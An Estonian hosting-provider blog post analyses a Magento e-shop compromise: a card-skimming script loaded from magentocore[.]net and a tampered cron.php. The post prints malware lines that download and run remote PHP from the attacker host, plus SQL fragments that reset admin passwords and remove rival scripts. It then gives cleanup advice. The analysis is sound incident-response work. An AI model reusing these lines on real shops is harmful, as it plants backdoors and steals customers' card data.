Magento ja krediitkaardivarastaja (ja andmekaitse üldmäärus)

Jaanus Putting
RSS: Jaga:

2016. aasta sügisel said mitmed Magento e-poed täpselt sellise pahavaraga pihta, Eestis oli nende hulgas näiteks Jysk. Monitoorides Zones majutatud veebe, hakkas mulle täna silma sarnane skript, mida laetakse näiliselt Magentoga seotud domeenilt (pikem nimekiri kasutusel olnud domeenidest Willem de Groot’ilt):

<script type='text/javascript' src='https://magentocore[.]net/mage/mage.js'></script>

Skript näeb aga välja üsna kahtlane ja esmamuljet kinnitab ka Virustotal:

jsnice.org teeb selle veidike loetavamaks:

Punased stringid viitavad chekout-vormi väljadele nagu krediitkaardinumber, kehtivus ja arveaadress ning need saadetakse kenasti magentocore[.]net aadressil asuvale vormile edasiseks ärakasutamiseks.

Ääremärkus: enamus Eesti e-poode kasutab makselahendusena õnneks välist teenust ja krediitkaardiandmete sisestamine toimub mujal. Küll aga olen näinud ka poode, mida see probleem võiks puudutada. Täna leitud poed said juba ka isiklikult e-posti teel teavitatud.

Ääremärkus 2: … aga kurjategijad on poes sees ja isegi juhul, kui ei varastata krediitkaardiandmeid, siis on neil ligipääs kasutajate isikuandmetele ehk andmekaitse üldmääruse (GDPR) mõttes on tegemist vähemalt potentsiaalse isikuandmete lekkega.

Mis mulle aga eriti meeldis ühe täna leitud häki juures, oli muudatus cron.php’s ehk failis, mida süsteem iga 5 minuti takka käivitab:

shell_exec("wget -c https://magentocore[.]net/clean.json -O ./app/code/core/clean.php 2>&1");
shell_exec("wget -c https://magentocore[.]net/clear.json -O ./app/code/core/clear.php 2>&1");
shell_exec("php ./app/code/core/clean.php 2>&1");
shell_exec("php ./app/code/core/clear.php 2>&1");
unlink('./app/code/core/clean.php');
unlink('./app/code/core/clear.php');

Ehk siis perioodiliselt laetakse alla ja käivitatakse mingit koodi. Mida see teeb? Mõlemad otsivad üles Magento andmebaasi-konfiguratsiooni ning siis teevad seal järgmist:

  • clean.php otsib konfiguratsioonitabelist (võõraste?) skriptide signatuure ja kustutab need ära (olgu öeldud, et skriptid on paigaldatud Magento adminnis oleva päise- ja jaluseskriptide seadistuse kaudu):
mysqli_query($link, "delete from " . $db_prefix . "core_config_data where value like '$sing'");
  • clear.php aga muudab ära hulga (teiste ründajate loodud?) admin-kasutajate paroolid:
$users = array('1','1468177885','1470303373','a','aborman','acid','admin01','admin1','admin123','admin5','adminhendra','adminnew','adminray','admins','adminu','admin_bfei','admin_ihfb','afletcher','ajen','alexgvn123','alif','ameendering','Ameliaaa','an','anin48','anjeng','anjeng12','Anr_01','ardyan','as','asdasd','astroeh','asu123','asuasu','asulan123','Audi','azer','aziz','Backup','backup_35f69d','badcc','bangsat','berandal','bgades','bgross','biji','bschlotter','bwilson','c0krek','cahyodp','camuv1653','casa','cbaker','cecun','cevans','cgcf','cgreenfield','cknobloch','clayser','ClayX404','cmorgan','coco','codex','coq','cruis','cvanstryland','cwarton','d','dalexander','ddoine','Death','dede','dedeganteng','default123','defaults','defaults01','defaut123','design','developer','dhsjcsc','diablox','Dian2206','dkelly','dlc','dmorgan','dpender','dsacks','dstefan','eCommerce','edorr','ehooser','einlow','ejameson','ekennedy','erik','erobinson','eznt@i.ryanb.com','family','faqih212','FathurFreakz','ferdi123','fikrihaikal35','forme','frozen404','fwilde','geizkayusuf','gfd','ggrav','ghaz','gigihmhd','gladz','gmr','golix19','GolixGates1','google','gustaman','haydar','haydra','hell','hiddenymouz','hornetto','hunter2','hydro','Hysoka','i','ibizta','iko','indoxploit','iniadmin','irfan','jaja','jancok','jancoks','janderson','jayzweed','jbonnell','jdragovich','jefri','JelexCrew','jengel','jhemphill','jhogan','jhult','jmartin','jockerdz','jonson','jtappe','juancok','katon','kedaong','kehise','kenta','khise','khoogers','kimak','kimyounsin','king','kkruger','kmagnan','knap13','knelson','Kontol900!','kotack','kuyas','kwwilliams','kwynia','lalapo123','LastTouch','lluethje','localsystem','Loic','lthummagunta','lucu','m4tr1x','madmax','maganeto','magento','magento1','mageplas','magsupport','malang','manggo','manick','masthio01','mcopa','meldred','Memekl3g17','mgonzalez','mind','mlaudenbach','mlomo','momo','moza','mperry','mranupak','mrsakso','msas','msf','msivalingam','mtrudell','mturico','mwaldner','mwelbig','mwendt','nathan','nbrouwer','ncastelli','neqyns13','ngentod','ngentot123','nmccray','nnordman','noob','novara','nrussell','nzero','o','omyo123','ouni','owadmin','pak','paypal','pbk7695K@','penggunalayanan','pikri','policy','pujasucipto','putra7695K','r0cky','rami','rctioke7','rcummings','rdewolfe','restuser','revian29','rezafirdaus','rezafirdaus21','rhaan','Rieqy','rieqyns13','rkm48','rmiller','robert','Root','rseeker','s','sadmin','samikom','sav.admin','saz','sdunham','semprol','sgood','sgoodman','shansen','shayer','sheinz25','Shor7cut','Sihdaunix','sjohnson','slackerc0de','slamusga','smolix','soliro','ss123','staff.developer','stores','stupid','Support','surya','surya1','svandenheuvel','swhite','sysadm','sysadmiin','sysadmin','sysadmin1','sysmon','system32','systemadmin','systembackup','T1KUS90T','tadamec','tae','tamedeo','tanderson','task','teastmond','telgersma','terserah','tesdar','test','tfgh','Thole129','tomhawk','training','tvanhouten','ubehera','ui','upel666','uSer','VHiden133','vpotter','wajixz','wawa','wew','ybickham','youmisscry','ywigaraa','zadmin','zaz','ziko','zxc','zxcyou636','_admin','gogle','Nexcess');

$users_password = "how1are2you3";
[.....]
mysqli_query($link, "update " . $db_prefix . "admin_user set password='$hash' where username = '$u'");
[.....]

Olgu öeldud, et how1are2you3 saab ka prefiksi ja sufiksi, nii et päris selle näite varal pole mõtet hakata samal moel häkitud saite läbi proovima 🙂

Vaatame parem admin-kasutajate tabelisse:

Nagu näha, on äsja lisatud uusi kasutajaid … ning ka olemasolevate kasutajate – sh saidi omaniku, admini ja arendaja omad, on muudetud samaks viimase ründaja omaga, sest parooli-räsid on samad (algusega af… on seejuures lihtsalt ühe lisatud kasutajanime räsi).

Kuidas see küll võimalik saab olla? Hold my beer while I call Magereport!

See on nüüd küll demonstratiivselt mage raport – paigaldamata on isegi 2015 suvel väljastatud turvapaigad… ma ei hakka isegi oletama, et millise kaudu neist täpselt sees käiakse.

Ülejäänud asjaomastest saitidest leitud tagauksed olid üsna igavad ning neid ei ole mõtet siinkohal esitleda.

Kui satud sellist saiti puhastama, siis:

  • uuendused, uuendused, uuendused;
  • leia üles ja eemalda tagauksed (ei pruugi olla kerge töö, sest tõenäoliselt trallib seal juba eiteamitmes kuritegelik seltskond);
  • vaata üle adminnkasutajad, eemalda kahtlased, reseti allesjäänute paroolid;
  • vaheta SQL paroolid – jagatud serveri puhul piisab kurjategijal muidu ligipääsust phpMyAdmin’ile, et endale jälle sobiv adminniparool seada…

Populaarsed postitused

Tubli kolmas ehk mida õpetas meile WordPress Hosting Performance Benchmarks 2026?

Tubli kolmas ehk mida õpetas meile WordPress Hosting Performance Benchmarks 2026?

Sõltumatu WordPress Hosting Performance Benchmarks testis 2026. aastal taas erinevate veebimajutuse pakkujate jõudlust. Testi mõte on lihtne: panna...
Võidujooks turvaauguga: WP2Shell

Võidujooks turvaauguga: WP2Shell

Ardi Jürgens
Reedel, 17. juulil avalikustati WordPressi sisuhaldustarkvara turvanõrkused CVE-2026-60137 ja CVE-2026-63030, mis said ühisnimetuse WP2Shell. Koos võimaldasid...
Partner soovitab: Pane Google Ads ja Meta päris tulemusi tooma

Partner soovitab: Pane Google Ads ja Meta päris tulemusi tooma

Webabi OÜ
Google Adsi ja Meta reklaami optimeerimine ei tähenda 2026. aastal enam võimalikult paljude klõpsude kogumist. Tulemusi toovad õigesti seadistatud...
Kliendi edulugu: Viire teekond Sillaotsa Talu esimese veebileheni

Kliendi edulugu: Viire teekond Sillaotsa Talu esimese veebileheni

Nikita Tikhomirov
Sillaotsa Talu perenaisel Viire Martmal oli kõik oluline juba olemas: suur jälgijaskond, oma lugu, praktilised kogemused, koolitused ja inimesed, kes...